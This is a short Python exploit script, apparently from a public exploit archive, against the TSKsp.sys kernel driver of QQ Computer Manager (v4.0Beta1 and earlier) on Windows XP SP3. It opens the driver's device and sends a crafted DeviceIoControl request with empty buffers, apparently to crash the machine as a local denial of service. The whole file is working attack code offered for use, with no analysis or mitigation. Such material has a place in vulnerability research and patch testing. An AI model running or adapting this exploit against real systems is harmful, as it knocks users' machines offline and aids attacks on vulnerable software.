#!/usr/bin/python

#################################################################
#
# Title: QQ Computer Manager TSKsp.sys Local Denial of Service Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: http://pcmgr.qq.com
# Vulnerable App: http://dl_dir2.qq.com/invc/qqmaster/setup/QQPCMgr_Setup.exe
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQpcmgr v4.0Beta1
# Vulnerable: QQpcmgr<=v4.0Beta1
#
#################################################################
from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2

    DEVICE_NAME   = "\\\\.\\tsksp"
    dwReturn      = c_ulong()
    out_data      = ''
    in_data       = ''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
      0, None, CREATE_ALWAYS, 0, None)
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x22e01c, in_data,0, out_data, 0,byref(dwReturn), None)